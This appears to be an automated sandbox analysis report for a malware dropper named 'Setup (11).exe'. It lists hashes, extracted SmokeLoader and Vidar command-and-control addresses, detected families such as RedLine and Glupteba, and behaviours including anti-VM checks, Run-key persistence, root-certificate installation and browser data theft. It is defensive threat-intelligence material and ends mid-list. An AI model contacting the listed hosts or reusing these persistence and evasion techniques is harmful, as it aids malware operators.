Overview
overview
10Static
static
Setup (1).exe
windows7_x64
10Setup (1).exe
windows10_x64
10Setup (10).exe
windows7_x64
10Setup (10).exe
windows10_x64
10Setup (11).exe
windows7_x64
10Setup (11).exe
windows10_x64
10Setup (12).exe
windows7_x64
10Setup (12).exe
windows10_x64
10Setup (13).exe
windows7_x64
10Setup (13).exe
windows10_x64
10Setup (14).exe
windows7_x64
10Setup (14).exe
windows10_x64
10Setup (15).exe
windows7_x64
10Setup (15).exe
windows10_x64
10Setup (16).exe
windows7_x64
10Setup (16).exe
windows10_x64
10Setup (17).exe
windows7_x64
10Setup (17).exe
windows10_x64
10Setup (18).exe
windows7_x64
10Setup (18).exe
windows10_x64
10Setup (19).exe
windows7_x64
10Setup (19).exe
windows10_x64
10Setup (2).exe
windows7_x64
10Setup (2).exe
windows10_x64
10Setup (20).exe
windows7_x64
10Setup (20).exe
windows10_x64
10Setup (21).exe
windows7_x64
10Setup (21).exe
windows10_x64
10Setup (22).exe
windows7_x64
10Setup (22).exe
windows10_x64
10Setup (23).exe
windows7_x64
10Setup (23).exe
windows10_x64
10Resubmissions
01-07-2024 18:32
240701-w6yteawhmq 1001-07-2024 14:52
240701-r82wmaxdnd 1001-07-2024 14:52
240701-r8syqa1dpp 1011-03-2024 21:22
240311-z8dsssgg58 1001-09-2021 13:18
210901-5bmxjspa5s 1001-09-2021 13:04
210901-te4btfspqa 1001-09-2021 05:12
210901-4wnkwm1p3j 1031-08-2021 21:47
210831-41rp97dma2 1031-08-2021 19:51
210831-359awwatje 1029-08-2021 11:37
210829-18htk4slyj 10Analysis
-
max time kernel
124s -
max time network
1810s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
23-08-2021 20:40
Static task
static1
Behavioral task
behavioral1
Sample
Setup (1).exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
Setup (1).exe
Resource
win10v20210410
Behavioral task
behavioral3
Sample
Setup (10).exe
Resource
win7v20210408
Behavioral task
behavioral4
Sample
Setup (10).exe
Resource
win10v20210410
Behavioral task
behavioral5
Sample
Setup (11).exe
Resource
win7v20210408
Behavioral task
behavioral6
Sample
Setup (11).exe
Resource
win10v20210410
Behavioral task
behavioral7
Sample
Setup (12).exe
Resource
win7v20210410
Behavioral task
behavioral8
Sample
Setup (12).exe
Resource
win10v20210408
Behavioral task
behavioral9
Sample
Setup (13).exe
Resource
win7v20210410
Behavioral task
behavioral10
Sample
Setup (13).exe
Resource
win10v20210408
Behavioral task
behavioral11
Sample
Setup (14).exe
Resource
win7v20210410
Behavioral task
behavioral12
Sample
Setup (14).exe
Resource
win10v20210408
Behavioral task
behavioral13
Sample
Setup (15).exe
Resource
win7v20210410
Behavioral task
behavioral14
Sample
Setup (15).exe
Resource
win10v20210410
Behavioral task
behavioral15
Sample
Setup (16).exe
Resource
win7v20210408
Behavioral task
behavioral16
Sample
Setup (16).exe
Resource
win10v20210410
Behavioral task
behavioral17
Sample
Setup (17).exe
Resource
win7v20210408
Behavioral task
behavioral18
Sample
Setup (17).exe
Resource
win10v20210410
Behavioral task
behavioral19
Sample
Setup (18).exe
Resource
win7v20210408
Behavioral task
behavioral20
Sample
Setup (18).exe
Resource
win10v20210410
Behavioral task
behavioral21
Sample
Setup (19).exe
Resource
win7v20210410
Behavioral task
behavioral22
Sample
Setup (19).exe
Resource
win10v20210408
Behavioral task
behavioral23
Sample
Setup (2).exe
Resource
win7v20210410
Behavioral task
behavioral24
Sample
Setup (2).exe
Resource
win10v20210408
Behavioral task
behavioral25
Sample
Setup (20).exe
Resource
win7v20210410
Behavioral task
behavioral26
Sample
Setup (20).exe
Resource
win10v20210408
Behavioral task
behavioral27
Sample
Setup (21).exe
Resource
win7v20210410
Behavioral task
behavioral28
Sample
Setup (21).exe
Resource
win10v20210410
Behavioral task
behavioral29
Sample
Setup (22).exe
Resource
win7v20210408
Behavioral task
behavioral30
Sample
Setup (22).exe
Resource
win10v20210410
Behavioral task
behavioral31
Sample
Setup (23).exe
Resource
win7v20210408
Behavioral task
behavioral32
Sample
Setup (23).exe
Resource
win10v20210410
General
-
Target
Setup (11).exe
-
Size
631KB
-
MD5
cb927513ff8ebff4dd52a47f7e42f934
-
SHA1
0de47c02a8adc4940a6c18621b4e4a619641d029
-
SHA256
fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
-
SHA512
988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c
Malware Config
Extracted
metasploit
windows/single_exec
Extracted
vidar
40.1
995
https://eduarroma.tumblr.com/
-
profile_id
995
Extracted
smokeloader
2020
http://readinglistforaugust1.xyz/
http://readinglistforaugust2.xyz/
http://readinglistforaugust3.xyz/
http://readinglistforaugust4.xyz/
http://readinglistforaugust5.xyz/
http://readinglistforaugust6.xyz/
http://readinglistforaugust7.xyz/
http://readinglistforaugust8.xyz/
http://readinglistforaugust9.xyz/
http://readinglistforaugust10.xyz/
http://readinglistforaugust1.site/
http://readinglistforaugust2.site/
http://readinglistforaugust3.site/
http://readinglistforaugust4.site/
http://readinglistforaugust5.site/
http://readinglistforaugust6.site/
http://readinglistforaugust7.site/
http://readinglistforaugust8.site/
http://readinglistforaugust9.site/
http://readinglistforaugust10.site/
http://readinglistforaugust1.club/
http://readinglistforaugust2.club/
http://readinglistforaugust3.club/
http://readinglistforaugust4.club/
http://readinglistforaugust5.club/
http://readinglistforaugust6.club/
http://readinglistforaugust7.club/
http://readinglistforaugust8.club/
http://readinglistforaugust9.club/
http://readinglistforaugust10.club/
Extracted
vidar
40.1
937
https://eduarroma.tumblr.com/
-
profile_id
937
Signatures
-
Glupteba Payload 1 IoCs
Processes:
resource yara_rule behavioral6/memory/3988-374-0x00000000048C0000-0x00000000051E6000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
rundll32.exerundll32.exerundll32.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 7124 5064 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 8560 5064 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6316 5064 rundll32.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 10 IoCs
Processes:
resource yara_rule C:\Users\Admin\Documents\Jnb6OAHCGUpjbSw8QMbKZzO3.exe family_redline behavioral6/memory/5292-382-0x000000000041A5EA-mapping.dmp family_redline behavioral6/memory/4136-319-0x000000000041A616-mapping.dmp family_redline C:\Users\Admin\Documents\MVxA_jZtDKYMc1cQBe2G5TE1.exe family_redline C:\Users\Admin\Documents\SgzvDXNLY5Wp3E9casiD7nlC.exe family_redline C:\Users\Admin\Documents\V4AMZ_r8AUs_ZjiQweBtXYr_.exe family_redline C:\Users\Admin\Documents\MVxA_jZtDKYMc1cQBe2G5TE1.exe family_redline C:\Users\Admin\Documents\V4AMZ_r8AUs_ZjiQweBtXYr_.exe family_redline C:\Users\Admin\Documents\Jnb6OAHCGUpjbSw8QMbKZzO3.exe family_redline C:\Users\Admin\Documents\SgzvDXNLY5Wp3E9casiD7nlC.exe family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
Processes:
WerFault.exedescription pid process target process PID 4816 created 388 4816 WerFault.exe VEcZdAtMFvZ5AJy6HvmGUnJG.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 3 IoCs
Processes:
resource yara_rule behavioral6/memory/2444-312-0x0000000002640000-0x00000000026DD000-memory.dmp family_vidar behavioral6/memory/2332-371-0x0000000000400000-0x00000000023FF000-memory.dmp family_vidar behavioral6/memory/2444-326-0x0000000000400000-0x0000000002402000-memory.dmp family_vidar -
Creates new service(s) 1 TTPs
-
Downloads MZ/PE file
-
Executes dropped EXE 49 IoCs
Processes:
9bzDWj9FJbswCMVC3rPVjjMW.exeVEcZdAtMFvZ5AJy6HvmGUnJG.exejhG9d9yMmReSXvc5kYBPFv_U.exeUMSFxshz8dKpj5BKezrqeWdU.exeVUZ1PVELYwf1SylTcc7fUKoE.exeJnb6OAHCGUpjbSw8QMbKZzO3.exeSgzvDXNLY5Wp3E9casiD7nlC.exeFbYNZLsmVHHbfsDJ0NRSGoZS.exeq_R3BjfhDKz86xmQpzTZXcRE.exek01CMCnCVsoU0GWOjco_6fPz.exeXbuaAKOannGTMT_SguqX7IUB.exebMUiYJt_XIHSp9rNoGwkhQIL.exeoUDuJIrvjhiFN6Pksw4imGv7.exeV4AMZ_r8AUs_ZjiQweBtXYr_.exeeb8M87Ry3XaXIODxCSLHCwE5.exeJPQQWmhn1HFREh6dSnHoOMZ0.exeB8NgLRPlQ0ppAWagYOtGQzl9.exeMVxA_jZtDKYMc1cQBe2G5TE1.exeGXP05EUM6TmxLrpEeDs0JEhJ.exeGeyf0XSpz6lFBC53XYtM7Tlw.exelwbMDYst6d77w4t08SAEwJew.exeUtKTZZXvIIY9VAI8siqnKaX7.exeyNMA1lzN_zh0wsKr1OcV4qYn.exe8_ZLT20rHr_a5Vt0Ol9hzsFb.exe30A6dJbrrR6OUdaW2tsEoXi_.exeSeG_J0VCXu_oUl1P0fB7HaaY.exegOBIjP42aeUU3zweJapMwdBr.exencIowrg7Lz4Fmp9xa8N8iIPU.execustomer3.exeConhost.exejooyu.exencIowrg7Lz4Fmp9xa8N8iIPU.tmpXbuaAKOannGTMT_SguqX7IUB.exeFbYNZLsmVHHbfsDJ0NRSGoZS.exeFbYNZLsmVHHbfsDJ0NRSGoZS.exeXbuaAKOannGTMT_SguqX7IUB.exebMUiYJt_XIHSp9rNoGwkhQIL.exeEsplorarne.exe.comW9HYZK4jTmIKN_GhvB18VkpJ.exeFbYNZLsmVHHbfsDJ0NRSGoZS.exejfiag3g_gg.exe7497974.exe2238214.exe8205194.exeEsplorarne.exe.com5474533.exeMediaBurner2.exe11111.exeWinHoster.exepid process 2904 9bzDWj9FJbswCMVC3rPVjjMW.exe 388 VEcZdAtMFvZ5AJy6HvmGUnJG.exe 2348 jhG9d9yMmReSXvc5kYBPFv_U.exe 2716 UMSFxshz8dKpj5BKezrqeWdU.exe 2508 VUZ1PVELYwf1SylTcc7fUKoE.exe 2688 Jnb6OAHCGUpjbSw8QMbKZzO3.exe 2632 SgzvDXNLY5Wp3E9casiD7nlC.exe 2512 FbYNZLsmVHHbfsDJ0NRSGoZS.exe 2336 q_R3BjfhDKz86xmQpzTZXcRE.exe 2652 k01CMCnCVsoU0GWOjco_6fPz.exe 3324 XbuaAKOannGTMT_SguqX7IUB.exe 3328 bMUiYJt_XIHSp9rNoGwkhQIL.exe 3188 oUDuJIrvjhiFN6Pksw4imGv7.exe 216 V4AMZ_r8AUs_ZjiQweBtXYr_.exe 2444 eb8M87Ry3XaXIODxCSLHCwE5.exe 1432 JPQQWmhn1HFREh6dSnHoOMZ0.exe 204 B8NgLRPlQ0ppAWagYOtGQzl9.exe 1232 MVxA_jZtDKYMc1cQBe2G5TE1.exe 2276 GXP05EUM6TmxLrpEeDs0JEhJ.exe 2312 Geyf0XSpz6lFBC53XYtM7Tlw.exe 3988 lwbMDYst6d77w4t08SAEwJew.exe 2240 UtKTZZXvIIY9VAI8siqnKaX7.exe 2252 yNMA1lzN_zh0wsKr1OcV4qYn.exe 3556 8_ZLT20rHr_a5Vt0Ol9hzsFb.exe 4120 30A6dJbrrR6OUdaW2tsEoXi_.exe 2332 SeG_J0VCXu_oUl1P0fB7HaaY.exe 4348 gOBIjP42aeUU3zweJapMwdBr.exe 4896 ncIowrg7Lz4Fmp9xa8N8iIPU.exe 4984 customer3.exe 5028 Conhost.exe 5076 jooyu.exe 5092 ncIowrg7Lz4Fmp9xa8N8iIPU.tmp 4768 XbuaAKOannGTMT_SguqX7IUB.exe 4940 FbYNZLsmVHHbfsDJ0NRSGoZS.exe 3464 FbYNZLsmVHHbfsDJ0NRSGoZS.exe 4136 XbuaAKOannGTMT_SguqX7IUB.exe 3092 bMUiYJt_XIHSp9rNoGwkhQIL.exe 3100 Esplorarne.exe.com 2140 W9HYZK4jTmIKN_GhvB18VkpJ.exe 5292 FbYNZLsmVHHbfsDJ0NRSGoZS.exe 5676 jfiag3g_gg.exe 5760 7497974.exe 5840 2238214.exe 5960 8205194.exe 5984 Esplorarne.exe.com 6044 5474533.exe 4864 MediaBurner2.exe 2248 11111.exe 5424 WinHoster.exe -
Modifies Windows Firewall 1 TTPs
-
Checks BIOS information in registry 2 TTPs 10 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
V4AMZ_r8AUs_ZjiQweBtXYr_.exeMVxA_jZtDKYMc1cQBe2G5TE1.exeSgzvDXNLY5Wp3E9casiD7nlC.exeB8NgLRPlQ0ppAWagYOtGQzl9.exeJnb6OAHCGUpjbSw8QMbKZzO3.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion V4AMZ_r8AUs_ZjiQweBtXYr_.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion MVxA_jZtDKYMc1cQBe2G5TE1.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion SgzvDXNLY5Wp3E9casiD7nlC.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion B8NgLRPlQ0ppAWagYOtGQzl9.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Jnb6OAHCGUpjbSw8QMbKZzO3.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion V4AMZ_r8AUs_ZjiQweBtXYr_.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion MVxA_jZtDKYMc1cQBe2G5TE1.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion SgzvDXNLY5Wp3E9casiD7nlC.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion B8NgLRPlQ0ppAWagYOtGQzl9.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Jnb6OAHCGUpjbSw8QMbKZzO3.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Setup (11).exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation Setup (11).exe -
Loads dropped DLL 5 IoCs
Processes:
ncIowrg7Lz4Fmp9xa8N8iIPU.tmpVUZ1PVELYwf1SylTcc7fUKoE.exepid process 5092 ncIowrg7Lz4Fmp9xa8N8iIPU.tmp 5092 ncIowrg7Lz4Fmp9xa8N8iIPU.tmp 2508 VUZ1PVELYwf1SylTcc7fUKoE.exe 2508 VUZ1PVELYwf1SylTcc7fUKoE.exe 2508 VUZ1PVELYwf1SylTcc7fUKoE.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule C:\Users\Admin\Documents\Jnb6OAHCGUpjbSw8QMbKZzO3.exe themida behavioral6/memory/2688-251-0x00000000000C0000-0x00000000000C1000-memory.dmp themida behavioral6/memory/216-256-0x00000000008C0000-0x00000000008C1000-memory.dmp themida behavioral6/memory/2632-261-0x0000000000070000-0x0000000000071000-memory.dmp themida behavioral6/memory/204-264-0x0000000001210000-0x0000000001211000-memory.dmp themida behavioral6/memory/1232-265-0x0000000000820000-0x0000000000821000-memory.dmp themida C:\Users\Admin\Documents\MVxA_jZtDKYMc1cQBe2G5TE1.exe themida C:\Users\Admin\Documents\SgzvDXNLY5Wp3E9casiD7nlC.exe themida C:\Users\Admin\Documents\V4AMZ_r8AUs_ZjiQweBtXYr_.exe themida C:\Users\Admin\Documents\B8NgLRPlQ0ppAWagYOtGQzl9.exe themida C:\Users\Admin\Documents\MVxA_jZtDKYMc1cQBe2G5TE1.exe themida C:\Users\Admin\Documents\B8NgLRPlQ0ppAWagYOtGQzl9.exe themida C:\Users\Admin\Documents\V4AMZ_r8AUs_ZjiQweBtXYr_.exe themida C:\Users\Admin\Documents\Jnb6OAHCGUpjbSw8QMbKZzO3.exe themida C:\Users\Admin\Documents\SgzvDXNLY5Wp3E9casiD7nlC.exe themida -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
2238214.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 2238214.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
V4AMZ_r8AUs_ZjiQweBtXYr_.exeMVxA_jZtDKYMc1cQBe2G5TE1.exeB8NgLRPlQ0ppAWagYOtGQzl9.exeSgzvDXNLY5Wp3E9casiD7nlC.exeJnb6OAHCGUpjbSw8QMbKZzO3.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA V4AMZ_r8AUs_ZjiQweBtXYr_.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA MVxA_jZtDKYMc1cQBe2G5TE1.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA B8NgLRPlQ0ppAWagYOtGQzl9.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA SgzvDXNLY5Wp3E9casiD7nlC.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Jnb6OAHCGUpjbSw8QMbKZzO3.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 12 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 214 ipinfo.io 216 ipinfo.io 233 ipinfo.io 252 ipinfo.io 29 ipinfo.io 154 ipinfo.io 149 ipinfo.io 237 ipinfo.io 251 ipinfo.io 397 ipinfo.io 28 ipinfo.io 143 ip-api.com -
Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
Processes:
V4AMZ_r8AUs_ZjiQweBtXYr_.exeSgzvDXNLY5Wp3E9casiD7nlC.exeJnb6OAHCGUpjbSw8QMbKZzO3.exeMVxA_jZtDKYMc1cQBe2G5TE1.exeB8NgLRPlQ0ppAWagYOtGQzl9.exepid process 216 V4AMZ_r8AUs_ZjiQweBtXYr_.exe 2632 SgzvDXNLY5Wp3E9casiD7nlC.exe 2688 Jnb6OAHCGUpjbSw8QMbKZzO3.exe 1232 MVxA_jZtDKYMc1cQBe2G5TE1.exe 204 B8NgLRPlQ0ppAWagYOtGQzl9.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
XbuaAKOannGTMT_SguqX7IUB.exebMUiYJt_XIHSp9rNoGwkhQIL.exeFbYNZLsmVHHbfsDJ0NRSGoZS.exedescription pid process target process PID 3324 set thread context of 4136 3324 XbuaAKOannGTMT_SguqX7IUB.exe XbuaAKOannGTMT_SguqX7IUB.exe PID 3328 set thread context of 3092 3328 bMUiYJt_XIHSp9rNoGwkhQIL.exe bMUiYJt_XIHSp9rNoGwkhQIL.exe PID 2512 set thread context of 5292 2512 FbYNZLsmVHHbfsDJ0NRSGoZS.exe FbYNZLsmVHHbfsDJ0NRSGoZS.exe -
Drops file in Program Files directory 5 IoCs
Processes:
GXP05EUM6TmxLrpEeDs0JEhJ.exedescription ioc process File opened for modification C:\Program Files (x86)\Company\NewProduct\Uninstall.exe GXP05EUM6TmxLrpEeDs0JEhJ.exe File created C:\Program Files (x86)\Company\NewProduct\Uninstall.ini GXP05EUM6TmxLrpEeDs0JEhJ.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\customer3.exe GXP05EUM6TmxLrpEeDs0JEhJ.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe GXP05EUM6TmxLrpEeDs0JEhJ.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\jooyu.exe GXP05EUM6TmxLrpEeDs0JEhJ.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 14 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 4816 388 WerFault.exe VEcZdAtMFvZ5AJy6HvmGUnJG.exe 5024 2336 WerFault.exe q_R3BjfhDKz86xmQpzTZXcRE.exe 5476 2252 WerFault.exe yNMA1lzN_zh0wsKr1OcV4qYn.exe 5508 3556 WerFault.exe 8_ZLT20rHr_a5Vt0Ol9hzsFb.exe 5816 2252 WerFault.exe yNMA1lzN_zh0wsKr1OcV4qYn.exe 5884 3556 WerFault.exe 8_ZLT20rHr_a5Vt0Ol9hzsFb.exe 4808 3556 WerFault.exe 8_ZLT20rHr_a5Vt0Ol9hzsFb.exe 5304 2252 WerFault.exe yNMA1lzN_zh0wsKr1OcV4qYn.exe 4272 2252 WerFault.exe yNMA1lzN_zh0wsKr1OcV4qYn.exe 4116 2252 WerFault.exe yNMA1lzN_zh0wsKr1OcV4qYn.exe 4372 3556 WerFault.exe 8_ZLT20rHr_a5Vt0Ol9hzsFb.exe 5512 2252 WerFault.exe yNMA1lzN_zh0wsKr1OcV4qYn.exe 4904 2252 WerFault.exe yNMA1lzN_zh0wsKr1OcV4qYn.exe 6616 2444 WerFault.exe eb8M87Ry3XaXIODxCSLHCwE5.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
bMUiYJt_XIHSp9rNoGwkhQIL.exedescription ioc process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI bMUiYJt_XIHSp9rNoGwkhQIL.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI bMUiYJt_XIHSp9rNoGwkhQIL.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI bMUiYJt_XIHSp9rNoGwkhQIL.exe -
Delays execution with timeout.exe 2 IoCs
Processes:
timeout.exetimeout.exepid process 4500 timeout.exe 8980 timeout.exe -
Kills process with taskkill 5 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 9444 taskkill.exe 6088 taskkill.exe 8832 taskkill.exe 8964 taskkill.exe 7624 taskkill.exe -
Processes:
Setup (11).exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Setup (11).exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Setup (11).exe -
Runs ping.exe 1 TTPs 2 IoCs
-
Script User-Agent 8 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 154 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 158 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 215 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 232 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 236 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 395 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 399 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 150 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
Setup (11).exebMUiYJt_XIHSp9rNoGwkhQIL.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid process 2992 Setup (11).exe 2992 Setup (11).exe 3092 bMUiYJt_XIHSp9rNoGwkhQIL.exe 3092 bMUiYJt_XIHSp9rNoGwkhQIL.exe 5024 WerFault.exe 5024 WerFault.exe 5024 WerFault.exe 5024 WerFault.exe 5024 WerFault.exe 5024 WerFault.exe 5024 WerFault.exe 5024 WerFault.exe 5024 WerFault.exe 5024 WerFault.exe 5024 WerFault.exe 5024 WerFault.exe 4372 WerFault.exe 4372 WerFault.exe 5024 WerFault.exe 4372 WerFault.exe 5024 WerFault.exe 4372 WerFault.exe 5024 WerFault.exe 4372 WerFault.exe 5024 WerFault.exe 4372 WerFault.exe 5024 WerFault.exe 4372 WerFault.exe 4372 WerFault.exe 5024 WerFault.exe 4372 WerFault.exe 5024 WerFault.exe 4372 WerFault.exe 5024 WerFault.exe 4372 WerFault.exe 5024 WerFault.exe 4372 WerFault.exe 4372 WerFault.exe 4372 WerFault.exe 4904 WerFault.exe 4904 WerFault.exe 4372 WerFault.exe 4904 WerFault.exe 4904 WerFault.exe 4372 WerFault.exe 4904 WerFault.exe 4904 WerFault.exe 4372 WerFault.exe 4904 WerFault.exe 4904 WerFault.exe 4372 WerFault.exe 4904 WerFault.exe 4372 WerFault.exe 4904 WerFault.exe 4904 WerFault.exe 4372 WerFault.exe 4904 WerFault.exe 4372 WerFault.exe 4904 WerFault.exe 4904 WerFault.exe 4904 WerFault.exe 4904 WerFault.exe 4904 WerFault.exe 4816 WerFault.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
bMUiYJt_XIHSp9rNoGwkhQIL.exepid process 3092 bMUiYJt_XIHSp9rNoGwkhQIL.exe -
Suspicious use of AdjustPrivilegeToken 56 IoCs
Processes:
